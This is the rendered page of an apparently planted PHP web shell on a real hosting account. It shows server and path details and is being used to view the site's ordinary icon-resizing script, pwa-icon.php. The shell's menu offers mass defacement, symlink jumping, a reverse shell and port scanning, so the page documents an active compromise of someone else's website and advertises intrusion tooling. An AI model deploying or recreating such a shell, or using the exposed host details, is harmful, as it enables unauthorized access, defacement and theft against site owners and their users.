Tul xxx Tul
User / IP
:
216.73.216.159
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
trabajostorefran
/
api
/
Viewing: pwa-icon.php
<?php use App\Services\SiteSettings; require_once __DIR__ . '/../app/helpers/Session.php'; spl_autoload_register(static function (string $class): void { $prefix = 'App\\'; $baseDir = __DIR__ . '/../app/'; if (!str_starts_with($class, $prefix)) { return; } $relativeClass = substr($class, strlen($prefix)); $relativePath = str_replace('\\', '/', $relativeClass) . '.php'; $pathsToTry = [$baseDir . $relativePath]; $segments = explode('/', $relativePath); if (!empty($segments)) { $segments[0] = strtolower($segments[0]); $pathsToTry[] = $baseDir . implode('/', $segments); } foreach ($pathsToTry as $path) { if (file_exists($path)) { require_once $path; return; } } }); header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0'); header('Pragma: no-cache'); $size = isset($_GET['size']) ? (int) $_GET['size'] : 192; if (!in_array($size, [96, 128, 144, 192, 256, 384, 512], true)) { $size = 192; } $settings = SiteSettings::get(); $logoSetting = (string) ($settings['site_logo'] ?? ''); $projectRoot = dirname(__DIR__); $defaultIconPath = $projectRoot . '/public/assets/img/favicon.png'; $resolveLocalFile = static function (string $path) use ($projectRoot): ?string { $trimmed = trim($path); if ($trimmed === '') { return null; } if (str_starts_with($trimmed, 'http://') || str_starts_with($trimmed, 'https://')) { return null; } if (str_starts_with($trimmed, 'public/')) { $candidate = $projectRoot . '/' . ltrim($trimmed, '/'); return is_file($candidate) ? $candidate : null; } if (str_starts_with($trimmed, '/public/')) { $candidate = $projectRoot . $trimmed; return is_file($candidate) ? $candidate : null; } $normalized = '/' . ltrim($trimmed, '/'); if (str_starts_with($normalized, '/uploads/') || str_starts_with($normalized, '/assets/')) { $candidate = $projectRoot . '/public' . $normalized; return is_file($candidate) ? $candidate : null; } $candidate = $projectRoot . $normalized; return is_file($candidate) ? $candidate : null; }; $filePath = $resolveLocalFile($logoSetting) ?? (is_file($defaultIconPath) ? $defaultIconPath : null); if (!$filePath) { http_response_code(404); header('Content-Type: text/plain; charset=utf-8'); echo 'Icono no disponible.'; exit; } $mime = @mime_content_type($filePath) ?: ''; if ($mime === 'image/svg+xml') { header('Content-Type: image/svg+xml'); readfile($filePath); exit; } $createImage = static function (string $path, string $mime) { return match ($mime) { 'image/jpeg' => @imagecreatefromjpeg($path), 'image/png' => @imagecreatefrompng($path), 'image/gif' => @imagecreatefromgif($path), 'image/webp' => function_exists('imagecreatefromwebp') ? @imagecreatefromwebp($path) : false, default => false, }; }; $src = $createImage($filePath, $mime); if (!$src) { $fallback = $createImage($defaultIconPath, @mime_content_type($defaultIconPath) ?: 'image/png'); if ($fallback) { $src = $fallback; } } if (!$src) { if (is_readable($defaultIconPath)) { header('Content-Type: image/png'); readfile($defaultIconPath); exit; } http_response_code(404); header('Content-Type: text/plain; charset=utf-8'); echo 'Icono no disponible.'; exit; } $width = imagesx($src); $height = imagesy($src); $dst = imagecreatetruecolor($size, $size); imagealphablending($dst, false); imagesavealpha($dst, true); $transparent = imagecolorallocatealpha($dst, 0, 0, 0, 127); imagefilledrectangle($dst, 0, 0, $size, $size, $transparent); $scale = min($size / max($width, 1), $size / max($height, 1)); $newW = (int) round($width * $scale); $newH = (int) round($height * $scale); $dstX = (int) floor(($size - $newW) / 2); $dstY = (int) floor(($size - $newH) / 2); imagecopyresampled($dst, $src, $dstX, $dstY, 0, 0, $newW, $newH, $width, $height); header('Content-Type: image/png'); imagepng($dst); imagedestroy($dst); imagedestroy($src);
Coded With 💗 by
0x6ick